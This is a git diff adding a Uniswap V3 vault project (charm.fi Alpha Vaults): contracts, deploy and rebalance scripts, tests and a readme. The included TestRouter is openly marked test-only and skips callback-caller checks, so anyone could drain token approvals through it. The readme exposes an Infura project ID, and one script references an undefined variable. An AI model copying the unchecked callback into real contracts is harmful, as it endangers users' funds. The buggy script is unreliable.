+        require(_twapDuration > 0, "twapDuration must be > 0");
+        twapDuration = _twapDuration;
+    }
+
+    /// @dev Uses same governance as underlying vault.
+    modifier onlyGovernance {
+        require(msg.sender == vault.governance(), "governance");
+        _;
+    }
+}
diff --git a/basic/69-charm.fi/contracts/test/MockToken.sol b/basic/69-charm.fi/contracts/test/MockToken.sol
new file mode 100644
index 000000000..1faf84922
--- /dev/null
+++ b/basic/69-charm.fi/contracts/test/MockToken.sol
@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: Unlicense
+
+pragma solidity 0.7.6;
+
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+
+contract MockToken is ERC20 {
+    constructor(
+        string memory name,
+        string memory symbol,
+        uint8 decimals
+    ) ERC20(name, symbol) {
+        _setupDecimals(decimals);
+    }
+
+    function mint(address account, uint256 amount) external {
+        _mint(account, amount);
+    }
+}
diff --git a/basic/69-charm.fi/contracts/test/TestRouter.sol b/basic/69-charm.fi/contracts/test/TestRouter.sol
new file mode 100644
index 000000000..a056a057f
--- /dev/null
+++ b/basic/69-charm.fi/contracts/test/TestRouter.sol
@@ -0,0 +1,76 @@
+// SPDX-License-Identifier: Unlicense
+
+pragma solidity 0.7.6;
+
+import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+
+import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
+import "@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3MintCallback.sol";
+import "@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol";
+import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
+
+/**
+ * @title  TestRouter
+ * @dev    DO NOT USE IN PRODUCTION. This is only intended to be used for
+ *         tests and lacks slippage and callback caller checks.
+ */
+contract TestRouter is IUniswapV3MintCallback, IUniswapV3SwapCallback {
+    using SafeERC20 for IERC20;
+
+    function mint(
+        IUniswapV3Pool pool,
+        int24 tickLower,
+        int24 tickUpper,
+        uint128 amount
+    ) external returns (uint256, uint256) {
+        int24 tickSpacing = pool.tickSpacing();
+        require(tickLower % tickSpacing == 0, "tickLower must be a multiple of tickSpacing");
+        require(tickUpper % tickSpacing == 0, "tickUpper must be a multiple of tickSpacing");
+        return pool.mint(msg.sender, tickLower, tickUpper, amount, abi.encode(msg.sender));
+    }
+
+    function swap(
+        IUniswapV3Pool pool,
+        bool zeroForOne,
+        int256 amountSpecified
+    ) external returns (int256, int256) {
+        return
+            pool.swap(
+                msg.sender,
+                zeroForOne,
+                amountSpecified,
+                zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1,
+                abi.encode(msg.sender)
+            );
+    }
+
+    function uniswapV3MintCallback(
+        uint256 amount0Owed,
+        uint256 amount1Owed,
+        bytes calldata data
+    ) external override {
+        _callback(amount0Owed, amount1Owed, data);
+    }
+
+    function uniswapV3SwapCallback(
+        int256 amount0Delta,
+        int256 amount1Delta,
+        bytes calldata data
+    ) external override {
+        uint256 amount0 = amount0Delta > 0 ? uint256(amount0Delta) : 0;
+        uint256 amount1 = amount1Delta > 0 ? uint256(amount1Delta) : 0;
+        _callback(amount0, amount1, data);
+    }
+
+    function _callback(
+        uint256 amount0,
+        uint256 amount1,
+        bytes calldata data
+    ) internal {
+        IUniswapV3Pool pool = IUniswapV3Pool(msg.sender);
+        address payer = abi.decode(data, (address));
+
+        IERC20(pool.token0()).safeTransferFrom(payer, msg.sender, amount0);
+        IERC20(pool.token1()).safeTransferFrom(payer, msg.sender, amount1);
+    }
+}
diff --git a/basic/69-charm.fi/interfaces/IStrategy.sol b/basic/69-charm.fi/interfaces/IStrategy.sol
new file mode 100644
index 000000000..acee73280
--- /dev/null
+++ b/basic/69-charm.fi/interfaces/IStrategy.sol
@@ -0,0 +1,9 @@
+// SPDX-License-Identifier: Unlicense
+
+pragma solidity 0.7.6;
+
+interface IStrategy {
+    function rebalance() external;
+
+    function shouldRebalance() external view returns (bool);
+}
diff --git a/basic/69-charm.fi/interfaces/IVault.sol b/basic/69-charm.fi/interfaces/IVault.sol
new file mode 100644
index 000000000..a29997d5c
--- /dev/null
+++ b/basic/69-charm.fi/interfaces/IVault.sol
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: Unlicense
+
+pragma solidity 0.7.6;
+
+interface IVault {
+    function deposit(
+        uint256,
+        uint256,
+        uint256,
+        uint256,
+        address
+    )
+        external
+        returns (
+            uint256,
+            uint256,
+            uint256
+        );
+
+    function withdraw(
+        uint256,
+        uint256,
+        uint256,
+        address
+    ) external returns (uint256, uint256);
+
+    function getTotalAmounts() external view returns (uint256, uint256);
+}
diff --git a/basic/69-charm.fi/readme.md b/basic/69-charm.fi/readme.md
new file mode 100644
index 000000000..eb8f29c7e
--- /dev/null
+++ b/basic/69-charm.fi/readme.md
@@ -0,0 +1,66 @@
+## charm.fi
+
+Uniswap V3 做市工具  
+策略研究：  
+-分为两种单，基础单和限价单，区别在于做市区间的不同：  
+B (base threshold) [X-B, X+B]  
+L (limit threshold) [X-R, X], or [X, X+R]  
+每隔 12 小时，触发 rebalance 函数。
+
+## 相关依赖
+
+- python3
+- [brownie](https://eth-brownie.readthedocs.io/en/stable/toctree.html)
+
+## 操作步骤
+
+- 安装 brownie 包依赖
+
+```bash
+brownie pm install OpenZeppelin/openzeppelin-contracts@3.4.0
+brownie pm install Uniswap/uniswap-v3-core@1.0.0
+brownie pm install Uniswap/uniswap-v3-periphery@1.0.0
+```
+
+- 进行包 clone
+
+```bash
+brownie pm clone Uniswap/uniswap-v3-periphery@1.0.0
+```
+
+- 执行测试
+
+```bash
+brownie test
+```
+
+## rinkeby 测试网部署
+
+- 配置账户
+
+```bash
+brownie addcounts new deployer
+```
+
+- 设置 WEB3_INFURA_PROJECT_ID
+
+```bash
+export WEB3_INFURA_PROJECT_ID=0aae8358bfe04803b8e75bb4755eaf07
+```
+
+- 设置 ETHERSCAN_TOKEN
+
+```bash
+export ETHERSCAN_TOKEN=xxxxxxxxxx
+```
+
+- 部署
+
+```bash
+brownie run deploy_rinkeby.py --network rinkeby
+```
+
+## 参考链接
+
+- 策略研究: https://learn.charm.fi/charm-finance/alpha-vaults/strategy
+- git 代码: https://github.com/charmfinance/alpha-vaults-contracts
diff --git a/basic/69-charm.fi/scripts/deploy_mainnet.py b/basic/69-charm.fi/scripts/deploy_mainnet.py
new file mode 100644
index 000000000..f0d911fc1
--- /dev/null
+++ b/basic/69-charm.fi/scripts/deploy_mainnet.py
@@ -0,0 +1,51 @@
+from brownie import accounts, AlphaVault, PassiveStrategy
+from brownie.network.gas.strategies import GasNowScalingStrategy
+
+
+# POOL = "0x8ad599c3a0ff1de082011efddc58f1908eb6e6d8"  # USDC / ETH / 0.3%
+# POOL = "0x4e68ccd3e89f51c3074ca5072bbac773960dfa36"  # ETH / USDT / 0.3%
+POOL = "0x99ac8ca7087fa4a2a1fb6357269965a2014abc35"  # WBTC / USDC / 0.3%
+
+PROTOCOL_FEE = 5000  # 5%
+MAX_TOTAL_SUPPLY = 2e17
+
+BASE_THRESHOLD = 3600
+LIMIT_THRESHOLD = 1200
+PERIOD = 41400  # ~12 hours
+MIN_TICK_MOVE = 0
+MAX_TWAP_DEVIATION = 100  # 1%
+TWAP_DURATION = 60  # 60 seconds
+KEEPER = "0x04c82c5791bbbdfbdda3e836ccbef567fdb2ea07"
+
+
+def main():
+    deployer = accounts.load("deployer")
+    balance = deployer.balance()
+
+    gas_strategy = GasNowScalingStrategy()
+
+    vault = deployer.deploy(
+        AlphaVault,
+        POOL,
+        PROTOCOL_FEE,
+        MAX_TOTAL_SUPPLY,
+        publish_source=True,
+        gas_price=gas_strategy,
+    )
+    strategy = deployer.deploy(
+        PassiveStrategy,
+        vault,
+        BASE_THRESHOLD,
+        LIMIT_THRESHOLD,
+        PERIOD,
+        MIN_TICK_MOVE,
+        MAX_TWAP_DEVIATION,
+        TWAP_DURATION,
+        KEEPER,
+        publish_source=True,
+        gas_price=gas_strategy,
+    )
+    vault.setStrategy(strategy, {"from": deployer, "gas_price": gas_strategy})
+
+    print(f"Gas used: {(balance - deployer.balance()) / 1e18:.4f} ETH")
+    print(f"Vault address: {vault.address}")
diff --git a/basic/69-charm.fi/scripts/deploy_rinkeby.py b/basic/69-charm.fi/scripts/deploy_rinkeby.py
new file mode 100644
index 000000000..e336b506b
--- /dev/null
+++ b/basic/69-charm.fi/scripts/deploy_rinkeby.py
@@ -0,0 +1,100 @@
+from brownie import (
+    accounts,
+    project,
+    MockToken,
+    AlphaVault,
+    PassiveStrategy,
+    TestRouter,
+    ZERO_ADDRESS,
+)
+from brownie.network.gas.strategies import GasNowScalingStrategy
+from math import floor, sqrt
+import time
+
+
+# Uniswap v3 factory on Rinkeby
+FACTORY = "0xAE28628c0fdFb5e54d60FEDC6C9085199aec14dF"
+
+PROTOCOL_FEE = 10000
+MAX_TOTAL_SUPPLY = 1e32
+
+BASE_THRESHOLD = 3600
+LIMIT_THRESHOLD = 1200
+PERIOD = 43200  # 12 hours
+MIN_TICK_MOVE = 0
+MAX_TWAP_DEVIATION = 100  # 1%
+TWAP_DURATION = 60  # 60 seconds
+
+
+def main():
+    deployer = accounts.load("deployer")
+    UniswapV3Core = project.load("Uniswap/uniswap-v3-core@1.0.0")
+
+    gas_strategy = GasNowScalingStrategy()
+
+    eth = deployer.deploy(MockToken, "ETH", "ETH", 18)
+    usdc = deployer.deploy(MockToken, "USDC", "USDC", 6)
+
+    eth.mint(deployer, 100 * 1e18, {"from": deployer, "gas_price": gas_strategy})
+    usdc.mint(deployer, 100000 * 1e6, {"from": deployer, "gas_price": gas_strategy})
+
+    factory = UniswapV3Core.interface.IUniswapV3Factory(FACTORY)
+    factory.createPool(eth, usdc, 3000, {"from": deployer, "gas_price": gas_strategy})
+    time.sleep(15)
+
+    pool = UniswapV3Core.interface.IUniswapV3Pool(factory.getPool(eth, usdc, 3000))
+
+    inverse = pool.token0() == usdc
+    price = 1e18 / 2000e6 if inverse else 2000e6 / 1e18
+
+    # Set ETH/USDC price to 2000
+    pool.initialize(
+        floor(sqrt(price) * (1 << 96)), {"from": deployer, "gas_price": gas_strategy}
+    )
+
+    # Increase cardinality so TWAP works
+    pool.increaseObservationCardinalityNext(
+        100, {"from": deployer, "gas_price": gas_strategy}
+    )
+
+    router = deployer.deploy(TestRouter)
+    MockToken.at(eth).approve(
+        router, 1 << 255, {"from": deployer, "gas_price": gas_strategy}
+    )
+    MockToken.at(usdc).approve(
+        router, 1 << 255, {"from": deployer, "gas_price": gas_strategy}
+    )
+    time.sleep(15)
+
+    max_tick = 887272 // 60 * 60
+    router.mint(
+        pool, -max_tick, max_tick, 1e14, {"from": deployer, "gas_price": gas_strategy}
+    )
+
+    vault = deployer.deploy(
+        AlphaVault,
+        pool,
+        PROTOCOL_FEE,
+        MAX_TOTAL_SUPPLY,
+        publish_source=True,
+        gas_price=gas_strategy,
+    )
+
+    strategy = deployer.deploy(
+        PassiveStrategy,
+        vault,
+        BASE_THRESHOLD,
+        LIMIT_THRESHOLD,
+        PERIOD,
+        MIN_TICK_MOVE,
+        MAX_TWAP_DEVIATION,
+        TWAP_DURATION,
+        deployer,
+        publish_source=True,
+        gas_price=gas_strategy,
+    )
+    vault.setStrategy(strategy, {"from": deployer, "gas_price": gas_strategy})
+
+    print(f"Vault address: {vault.address}")
+    print(f"Strategy address: {strategy.address}")
+    print(f"Router address: {router.address}")
diff --git a/basic/69-charm.fi/scripts/flatten.py b/basic/69-charm.fi/scripts/flatten.py
new file mode 100644
index 000000000..6605872a9
--- /dev/null
+++ b/basic/69-charm.fi/scripts/flatten.py
@@ -0,0 +1,8 @@
+from brownie import AlphaStrategy
+
+
+def main():
+    source = AlphaStrategy.get_verification_info()["flattened_source"]
+
+    with open("flat.sol", "w") as f:
+        f.write(source)
diff --git a/basic/69-charm.fi/scripts/increase_cardinality.py b/basic/69-charm.fi/scripts/increase_cardinality.py
new file mode 100644
index 000000000..197711071
--- /dev/null
+++ b/basic/69-charm.fi/scripts/increase_cardinality.py
@@ -0,0 +1,24 @@
+from brownie import accounts, project
+from brownie.network.gas.strategies import GasNowScalingStrategy
+
+
+# POOL = "0x8ad599c3a0ff1de082011efddc58f1908eb6e6d8"  # USDC / ETH
+POOL = "0x4e68ccd3e89f51c3074ca5072bbac773960dfa36"  # ETH / USDT
+
+CARDINALITY = 10
+
+
+def main():
+    deployer = accounts.load("deployer")
+    UniswapV3Core = project.load("Uniswap/uniswap-v3-core@1.0.0")
+
+    gas_strategy = GasNowScalingStrategy()
+    balance = keeper.balance()
+
+    pool = UniswapV3Core.interface.IUniswapV3Pool(POOL)
+    pool.increaseObservationCardinalityNext(
+        CARDINALITY, {"from": deployer, "gas_price": gas_strategy}
+    )
+
+    print(f"Gas used: {(balance - keeper.balance()) / 1e18:.4f} ETH")
+    print(f"New balance: {keeper.balance() / 1e18:.4f} ETH")
diff --git a/basic/69-charm.fi/scripts/print_price.py b/basic/69-charm.fi/scripts/print_price.py
new file mode 100644
index 000000000..4a0b760b3
--- /dev/null
+++ b/basic/69-charm.fi/scripts/print_price.py
@@ -0,0 +1,26 @@
+from brownie import accounts, project
+import time
+
+
+POOL = "0x7858e59e0c01ea06df3af3d20ac7b0003275d4bf"  # USDC / USDT / 0.05%
+POOL = "0x6c6bc977e13df9b0de53b251522280bb72383700"  # DAI / USDC / 0.05%
+# POOL = "0x6f48eca74b38d2936b02ab603ff4e36a6c0e3a77"  # DAI / USDT / 0.05%
+
+SECONDS_AGO = 60
+
+
+def main():
+    UniswapV3Core = project.load("Uniswap/uniswap-v3-core@1.0.0")
+    pool = UniswapV3Core.interface.IUniswapV3Pool(POOL)
+
+    while True:
+        (before, after), _ = pool.observe([SECONDS_AGO, 0])
+        twap = (after - before) / SECONDS_AGO
+        last = pool.slot0()[1]
+
+        print(f"twap\t{twap}\t{1.0001**twap}")
+        print(f"last\t{last}\t{1.0001**last}")
+        print(f"trend\t{last-twap}")
+        print()
+
+        time.sleep(max(SECONDS_AGO, 60))
diff --git a/basic/69-charm.fi/scripts/rebalance.py b/basic/69-charm.fi/scripts/rebalance.py
new file mode 100644
index 000000000..f0324d29e
--- /dev/null
+++ b/basic/69-charm.fi/scripts/rebalance.py
@@ -0,0 +1,42 @@
+from brownie import accounts, PassiveStrategy
+from brownie.network.gas.strategies import GasNowScalingStrategy
+import os
+
+
+STRATEGIES = [
+    # "0x40C36799490042b31Efc4D3A7F8BDe5D3cB03526",  # V0 ETH/USDT
+    # "0xA6803E6164EE978d8C511AfB23BA49AE0ae0C1C3",  # old V1 ETH/USDC
+    # "0x5503bB32a0E37A1F0B8F8FE2006abC33C779a6FD",  # old V1 ETH/USDT
+
+    "0x1cEA471aab8c57118d187315f3d6Ae1834cCD836",  # V1 ETH/USDC
+    "0x4e03028626aa5e5d5e4CFeF2970231b0D6c5d5Ed",  # V1 ETH/USDT
+    "0x8209df5A847C321d26eCb155CA76f95224c5DCd9",  # V1 WBTC/USDC
+]
+
+
+def getAccount(account, pw):
+    from web3.auto import w3
+
+    with open(account, "r") as f:
+        return accounts.add(w3.eth.account.decrypt(f.read(), pw))
+
+
+def main():
+    keeper = getAccount(os.environ["KEEPER_ACCOUNT"], os.environ["KEEPER_PW"])
+    # keeper = accounts.load(input("Brownie account: "))
+    balance = keeper.balance()
+
+    gas_strategy = GasNowScalingStrategy()
+
+    for address in STRATEGIES:
+        print(f"Running for strategy: {address}")
+        strategy = PassiveStrategy.at(address)
+        try:
+            strategy.rebalance({"from": keeper, "gas_price": gas_strategy})
+            print("Rebalanced!")
+        except ValueError as e:
+            print(e)
+        print()
+
+    print(f"Gas used: {(balance - keeper.balance()) / 1e18:.4f} ETH")
+    print(f"New balance: {keeper.balance() / 1e18:.4f} ETH")
diff --git a/basic/69-charm.fi/scripts/upgrade_strategy.py b/basic/69-charm.fi/scripts/upgrade_strategy.py
new file mode 100644
index 000000000..293de2bee
--- /dev/null
+++ b/basic/69-charm.fi/scripts/upgrade_strategy.py
@@ -0,0 +1,55 @@
+from brownie import (
+    accounts,
+    project,
+    AlphaVault,
+    PassiveStrategy,
+)
+from brownie.network.gas.strategies import GasNowScalingStrategy
+
+
+VAULT_ADDRESS = "0x9bf7b46c7ad5ab62034e9349ab912c0345164322"
+
+BASE_THRESHOLD = 3600
+LIMIT_THRESHOLD = 1200
+PERIOD = 41400  # ~12 hours
+MIN_TICK_MOVE = 0
+MAX_TWAP_DEVIATION = 100  # 1%
+TWAP_DURATION = 60  # 60 seconds
+KEEPER = "0x04c82c5791bbbdfbdda3e836ccbef567fdb2ea07"
+
+
+def main():
+    deployer = accounts.load("deployer")
+    UniswapV3Core = project.load("Uniswap/uniswap-v3-core@1.0.0")
+
+    gas_strategy = GasNowScalingStrategy()
+
+    vault = AlphaVault.at(VAULT_ADDRESS)
+    old = PassiveStrategy.at(vault.strategy())
+    print(f"Old strategy address: {old.address}")
+
+    strategy = deployer.deploy(
+        PassiveStrategy,
+        vault,
+        BASE_THRESHOLD,
+        LIMIT_THRESHOLD,
+        PERIOD,
+        MIN_TICK_MOVE,
+        MAX_TWAP_DEVIATION,
+        TWAP_DURATION,
+        KEEPER,
+        publish_source=True,
+        gas_price=gas_strategy,
+    )
+    print(f"Strategy address: {strategy.address}")
+
+    assert old.vault() == strategy.vault() == VAULT_ADDRESS
+    assert old.baseThreshold() == strategy.baseThreshold() == BASE_THRESHOLD
+    assert old.limitThreshold() == strategy.limitThreshold() == LIMIT_THRESHOLD
+    assert old.period() == strategy.period() == PERIOD
+    assert old.minTickMove() == strategy.minTickMove() == MIN_TICK_MOVE
+    assert old.maxTwapDeviation() == strategy.maxTwapDeviation() == MAX_TWAP_DEVIATION
+    assert old.twapDuration() == strategy.twapDuration() == TWAP_DURATION
+    assert old.keeper() == strategy.keeper() == KEEPER
+
+    vault.setStrategy(strategy, {"from": deployer, "gas_price": gas_strategy})
diff --git a/basic/69-charm.fi/tests/conftest.py b/basic/69-charm.fi/tests/conftest.py
new file mode 100644
index 000000000..105f5c29d
--- /dev/null
+++ b/basic/69-charm.fi/tests/conftest.py
@@ -0,0 +1,234 @@
+from brownie import chain
+from math import sqrt
+import pytest
+from web3 import Web3
+
+
+UNISWAP_V3_CORE = "Uniswap/uniswap-v3-core@1.0.0"
+
+
+@pytest.fixture(scope="module")
+def gov(accounts):
+    yield accounts[0]
+
+
+@pytest.fixture(scope="module")
+def user(accounts):
+    yield accounts[1]
+
+
+@pytest.fixture(scope="module")
+def recipient(accounts):
+    yield accounts[2]
+
+
+@pytest.fixture(scope="module")
+def keeper(accounts):
+    yield accounts[3]
+
+
+@pytest.fixture(scope="module")
+def users(gov, user, recipient, keeper):
+    yield [gov, user, recipient, keeper]
+
+
+@pytest.fixture(scope="module")
+def router(TestRouter, gov):
+    yield gov.deploy(TestRouter)
+
+
+@pytest.fixture
+def pool(MockToken, router, pm, gov, users):
+    UniswapV3Core = pm(UNISWAP_V3_CORE)
+
+    tokenA = gov.deploy(MockToken, "name A", "symbol A", 18)
+    tokenB = gov.deploy(MockToken, "name B", "symbol B", 18)
+    fee = 3000
+
+    factory = gov.deploy(UniswapV3Core.UniswapV3Factory)
+    tx = factory.createPool(tokenA, tokenB, fee, {"from": gov})
+    pool = UniswapV3Core.interface.IUniswapV3Pool(tx.return_value)
+    token0 = MockToken.at(pool.token0())
+    token1 = MockToken.at(pool.token1())
+
+    # initialize price to 100
+    price = int(sqrt(100) * (1 << 96))
+    pool.initialize(price, {"from": gov})
+
+    for u in users:
+        token0.mint(u, 100e18, {"from": gov})
+        token1.mint(u, 10000e18, {"from": gov})
+        token0.approve(router, 100e18, {"from": u})
+        token1.approve(router, 10000e18, {"from": u})
+
+    # Add some liquidity over whole range
+    max_tick = 887272 // 60 * 60
+    router.mint(pool, -max_tick, max_tick, 1e16, {"from": gov})
+
+    # Increase cardinality and fast forward so TWAP works
+    pool.increaseObservationCardinalityNext(100, {"from": gov})
+    chain.sleep(3600)
+    yield pool
+
+
+@pytest.fixture
+def tokens(MockToken, pool):
+    return MockToken.at(pool.token0()), MockToken.at(pool.token1())
+
+
+@pytest.fixture
+def vault(AlphaVault, AlphaStrategy, pool, router, tokens, gov, users, keeper):
+    # protocolFee = 10000 (1%)
+    # maxTotalSupply = 100e18 (100 tokens)
+    vault = gov.deploy(AlphaVault, pool, 10000, 100e18)
+
+    for u in users:
+        tokens[0].approve(vault, 100e18, {"from": u})
+        tokens[1].approve(vault, 10000e18, {"from": u})
+
+    # baseThreshold = 2400
+    # limitThreshold = 1200
+    # maxTwapDeviation = 200000 (just a big number)
+    # twapDuration = 600 (10 minutes)
+    strategy = gov.deploy(AlphaStrategy, vault, 2400, 1200, 200000, 600, keeper)
+    vault.setStrategy(strategy, {"from": gov})
+
+    yield vault
+
+
+@pytest.fixture
+def strategy(AlphaStrategy, vault):
+    return AlphaStrategy.at(vault.strategy())
+
+
+@pytest.fixture
+def vaultAfterPriceMove(vault, strategy, pool, router, gov, keeper):
+
+    # Deposit and move price to simulate existing activity
+    vault.deposit(1e16, 1e18, 0, 0, gov, {"from": gov})
+    prevTick = pool.slot0()[1] // 60 * 60
+    router.swap(pool, True, 1e16, {"from": gov})
+
+    # Check price did indeed move
+    tick = pool.slot0()[1] // 60 * 60
+    assert tick != prevTick
+
+    # Rebalance vault
+    strategy.rebalance({"from": keeper})
+
+    # Check vault holds both tokens
+    total0, total1 = vault.getTotalAmounts()
+    assert total0 > 0 and total1 > 0
+
+    yield vault
+
+
+@pytest.fixture
+def vaultOnlyWithToken0(vault, strategy, pool, router, gov, keeper):
+
+    # Deposit
+    vault.deposit(1e14, 1e16, 0, 0, gov, {"from": gov})
+
+    # Rebalance vault
+    strategy.rebalance({"from": keeper})
+
+    # Swap token0 -> token1
+    router.swap(pool, True, 1e16, {"from": gov})
+
+    # Check vault holds only token0
+    total0, total1 = vault.getTotalAmounts()
+    assert total0 > 0
+    assert total1 == 0
+
+    yield vault
+
+
+@pytest.fixture
+def vaultOnlyWithToken1(vault, strategy, pool, router, gov, keeper):
+
+    # Deposit
+    vault.deposit(1e14, 1e16, 0, 0, gov, {"from": gov})
+
+    # Rebalance vault
+    strategy.rebalance({"from": keeper})
+
+    # Swap token1 -> token0
+    router.swap(pool, False, 1e18, {"from": gov})
+
+    # Check vault holds only token0
+    total0, total1 = vault.getTotalAmounts()
+    assert total0 == 0
+    assert total1 > 0
+
+    yield vault
+
+
+# returns method to set up a pool, vault and strategy. can be used in
+# hypothesis tests where function-scoped fixtures are not allowed
+@pytest.fixture(scope="module")
+def createPoolVaultStrategy(
+    pm, AlphaVault, AlphaStrategy, MockToken, router, gov, keeper, users
+):
+    UniswapV3Core = pm(UNISWAP_V3_CORE)
+
+    def f():
+        tokenA = gov.deploy(MockToken, "name A", "symbol A", 18)
+        tokenB = gov.deploy(MockToken, "name B", "symbol B", 18)
+        fee = 3000
+
+        for u in users:
+            tokenA.mint(u, 100e18, {"from": gov})
+            tokenB.mint(u, 10000e18, {"from": gov})
+            tokenA.approve(router, 100e18, {"from": u})
+            tokenB.approve(router, 10000e18, {"from": u})
+
+        factory = gov.deploy(UniswapV3Core.UniswapV3Factory)
+        tx = factory.createPool(tokenA, tokenB, fee, {"from": gov})
+        pool = UniswapV3Core.interface.IUniswapV3Pool(tx.return_value)
+
+        initialPrice = int(sqrt(100) * (1 << 96))
+        pool.initialize(initialPrice, {"from": gov})
+
+        # Increase cardinality and fast forward so TWAP works
+        pool.increaseObservationCardinalityNext(100, {"from": gov})
+        chain.sleep(3600)
+
+        vault = gov.deploy(AlphaVault, pool, 10000, 100e18)
+        for u in users:
+            tokenA.approve(vault, 100e18, {"from": u})
+            tokenB.approve(vault, 10000e18, {"from": u})
+
+        strategy = gov.deploy(AlphaStrategy, vault, 2400, 1200, 200000, 600, keeper)
+        vault.setStrategy(strategy, {"from": gov})
+        return pool, vault, strategy
+
+    yield f
+
+
+@pytest.fixture
+def getPositions(pool):
+    def f(vault):
+        baseKey = computePositionKey(vault, vault.baseLower(), vault.baseUpper())
+        limitKey = computePositionKey(vault, vault.limitLower(), vault.limitUpper())
+        return pool.positions(baseKey), pool.positions(limitKey)
+
+    yield f
+
+
+@pytest.fixture
+def debug(pool, tokens):
+    def f(vault):
+        baseKey = computePositionKey(vault, vault.baseLower(), vault.baseUpper())
+        limitKey = computePositionKey(vault, vault.limitLower(), vault.limitUpper())
+        print(f"Passive position:    {pool.positions(baseKey)}")
+        print(f"Rebalance position:  {pool.positions(limitKey)}")
+        print(f"Spare balance 0:  {tokens[0].balanceOf(vault)}")
+        print(f"Spare balance 1:  {tokens[1].balanceOf(vault)}")
+
+    yield f
+
+
+def computePositionKey(owner, tickLower, tickUpper):
+    return Web3.solidityKeccak(
+        ["address", "int24", "int24"], [str(owner), tickLower, tickUpper]
+    )
diff --git a/basic/69-charm.fi/tests/test_deploy_strategy.py b/basic/69-charm.fi/tests/test_deploy_strategy.py
new file mode 100644
index 000000000..899461eb6
--- /dev/null
+++ b/basic/69-charm.fi/tests/test_deploy_strategy.py
@@ -0,0 +1,38 @@
+from brownie import reverts
+
+
+def test_constructor(AlphaStrategy, vault, gov, keeper):
+    strategy = gov.deploy(AlphaStrategy, vault, 2400, 1200, 500, 600, keeper)
+    assert strategy.vault() == vault
+    assert strategy.pool() == vault.pool()
+    assert strategy.baseThreshold() == 2400
+    assert strategy.limitThreshold() == 1200
+    assert strategy.maxTwapDeviation() == 500
+    assert strategy.twapDuration() == 600
+    assert strategy.keeper() == keeper
+
+
+def test_constructor_checks(AlphaStrategy, vault, gov, keeper):
+    with reverts("threshold % tickSpacing"):
+        gov.deploy(AlphaStrategy, vault, 2401, 1200, 500, 600, keeper)
+
+    with reverts("threshold % tickSpacing"):
+        gov.deploy(AlphaStrategy, vault, 2400, 1201, 500, 600, keeper)
+
+    with reverts("threshold > 0"):
+        gov.deploy(AlphaStrategy, vault, 0, 1200, 500, 600, keeper)
+
+    with reverts("threshold > 0"):
+        gov.deploy(AlphaStrategy, vault, 2400, 0, 500, 600, keeper)
+
+    with reverts("threshold too high"):
+        gov.deploy(AlphaStrategy, vault, 887280, 1200, 500, 600, keeper)
+
+    with reverts("threshold too high"):
+        gov.deploy(AlphaStrategy, vault, 2400, 887280, 500, 600, keeper)
+
+    with reverts("maxTwapDeviation"):
+        gov.deploy(AlphaStrategy, vault, 2400, 1200, -1, 600, keeper)
+
+    with reverts("twapDuration"):
+        gov.deploy(AlphaStrategy, vault, 2400, 1200, 500, 0, keeper)
diff --git a/basic/69-charm.fi/tests/test_deploy_vault.py b/basic/69-charm.fi/tests/test_deploy_vault.py
new file mode 100644
index 000000000..2cc5265e1
--- /dev/null
+++ b/basic/69-charm.fi/tests/test_deploy_vault.py
@@ -0,0 +1,24 @@
+from brownie import reverts, ZERO_ADDRESS
+
+
+def test_constructor(AlphaVault, pool, gov):
+    vault = gov.deploy(AlphaVault, pool, 10000, 100e18)
+    assert vault.pool() == pool
+    assert vault.token0() == pool.token0()
+    assert vault.token1() == pool.token1()
+
+    assert vault.protocolFee() == 10000
+    assert vault.maxTotalSupply() == 100e18
+    assert vault.governance() == gov
+    assert vault.strategy() == ZERO_ADDRESS
+
+    assert vault.name() == "Alpha Vault"
+    assert vault.symbol() == "AV"
+    assert vault.decimals() == 18
+
+    assert vault.getTotalAmounts() == (0, 0)
+
+
+def test_constructor_checks(AlphaVault, pool, gov):
+    with reverts("protocolFee"):
+        gov.deploy(AlphaVault, pool, 1e6, 100e18)
diff --git a/basic/69-charm.fi/tests/test_deposit_withdraw.py b/basic/69-charm.fi/tests/test_deposit_withdraw.py
new file mode 100644
index 000000000..0c4bf6b17
--- /dev/null
+++ b/basic/69-charm.fi/tests/test_deposit_withdraw.py
@@ -0,0 +1,303 @@
+from brownie import chain, reverts, ZERO_ADDRESS
+import pytest
+from pytest import approx
+
+
+@pytest.mark.parametrize(
+    "amount0Desired,amount1Desired",
+    [[0, 1], [1, 0], [1e18, 0], [0, 1e18], [1e4, 1e18], [1e18, 1e18]],
+)
+def test_initial_deposit(
+    vault,
+    tokens,
+    gov,
+    user,
+    recipient,
+    amount0Desired,
+    amount1Desired,
+):
+
+    # Store balances
+    balance0 = tokens[0].balanceOf(user)
+    balance1 = tokens[1].balanceOf(user)
+
+    # Deposit
+    tx = vault.deposit(amount0Desired, amount1Desired, 0, 0, recipient, {"from": user})
+    shares, amount0, amount1 = tx.return_value
+
+    # Check amounts are same as inputs
+    assert amount0 == amount0Desired
+    assert amount1 == amount1Desired
+
+    # Check received right number of shares
+    assert shares == vault.balanceOf(recipient) > 0
+
+    # Check paid right amount of tokens
+    assert amount0 == balance0 - tokens[0].balanceOf(user)
+    assert amount1 == balance1 - tokens[1].balanceOf(user)
+
+    # Check event
+    assert tx.events["Deposit"] == {
+        "sender": user,
+        "to": recipient,
+        "shares": shares,
+        "amount0": amount0,
+        "amount1": amount1,
+    }
+
+
+@pytest.mark.parametrize(
+    "amount0Desired,amount1Desired",
+    [[1, 1e18], [1e18, 1], [1e4, 1e18], [1e18, 1e18]],
+)
+def test_deposit(
+    vaultAfterPriceMove,
+    tokens,
+    getPositions,
+    gov,
+    user,
+    recipient,
+    amount0Desired,
+    amount1Desired,
+):
+    vault = vaultAfterPriceMove
+
+    # Store balances, supply and positions
+    balance0 = tokens[0].balanceOf(user)
+    balance1 = tokens[1].balanceOf(user)
+    totalSupply = vault.totalSupply()
+    total0, total1 = vault.getTotalAmounts()
+    govShares = vault.balanceOf(gov)
+
+    # Deposit
+    tx = vault.deposit(amount0Desired, amount1Desired, 0, 0, recipient, {"from": user})
+    shares, amount0, amount1 = tx.return_value
+
+    # Check amounts don't exceed desired
+    assert amount0 <= amount0Desired
